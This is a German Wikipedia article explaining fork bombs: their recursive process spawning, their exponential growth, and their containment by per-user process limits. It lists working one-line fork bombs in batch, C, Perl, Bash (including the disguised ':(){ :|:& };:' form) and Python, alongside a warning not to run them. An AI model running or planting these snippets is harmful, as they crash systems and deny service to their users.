Forkbomb

aus Wikipedia, der freien Enzyklopädie

Rekursive Prozesserzeugung

Eine Forkbomb ist ein Programm, dessen einziger Zweck es ist, rekursiv Kopien seiner selbst zu starten und so alle verfügbaren Systemresourcen zu verbrauchen und das System zu blockieren.

In Pseudocode sieht eine Forkbomb etwa so aus:

ProgrammX {
  Rufe ProgrammX auf;
  Rufe ProgrammX auf;
  Warte bis ProgrammX beendet wurde;
}

Das Programm ruft zwei Kopien seiner selbst auf und wartet dann, bis sie wieder beendet wurden. Dieser Zustand wird jedoch niemals erreicht werden, da die Kopien genauso verfahren. Aus einem Programmaufruf werden somit zunächst 2, dann 4, dann 8 und nach nur 10 solcher Zyklen sind bereits über tausend Kopien gestartet und aktiv. Allgemein lässt sich festhalten, dass nach n Zyklen 2ⁿ Prozesse erzeugt worden sind, ihre Anzahl also exponentiell zunimmt. Diese verbrauchen, selbst wenn sie keinen komplizierten Code enthalten, CPU-Zeit und Speicher zur Verwaltung durch das Betriebssystem. Ein normaler Betrieb bzw. normales Arbeiten ist dann, bereits wenige Sekunden nach Aufruf der Forkbomb, nicht mehr möglich.

Der konkrete Effekt einer Forkbomb hängt in erster Linie von der Konfiguration des Betriebssystems ab. Beispielsweise erlaubt PAM auf Unix- und Unix-ähnlichen Betriebssystemen die Zahl der Prozesse und den maximal zu verbrauchenen Speicher pro Benutzer zu beschränken. "Explodiert" eine Forkbomb auf einem System, welches diese Möglichkeiten der Beschränkung nutzt, scheitert irgendwann der Versuch, neue Kopien der Forkbomb zu starten und das Wachstum ist eingedämmt.

[Bearbeiten] Beispiele für Forkbombs

Um die Stabilität des Systems nicht zu gefährden wird empfohlen, die nachstehend genannten Beispiele nicht auszuführen.

• Microsoft Windows Batch-Datei:

:s
 start %0
 goto s

• C

#include <unistd.h>
 
int main(void){
    while(fork());
 
    return 0;
}

• Perl

perl -e "fork while fork"

• Bash

function f() {
     f | f&
 }
 f

Um die Eigenschaft als Forkbomb zu verschleiern, wird obiger Code häufig in folgender Kurzform gegeben:

:(){ :|:& };:

Die Benennung der Funktion mit : sorgt für zusätzliche Verwirrung.

• Python

import os
 
while True:
    os.fork()

[Bearbeiten] Siehe auch

• Fork (Unix)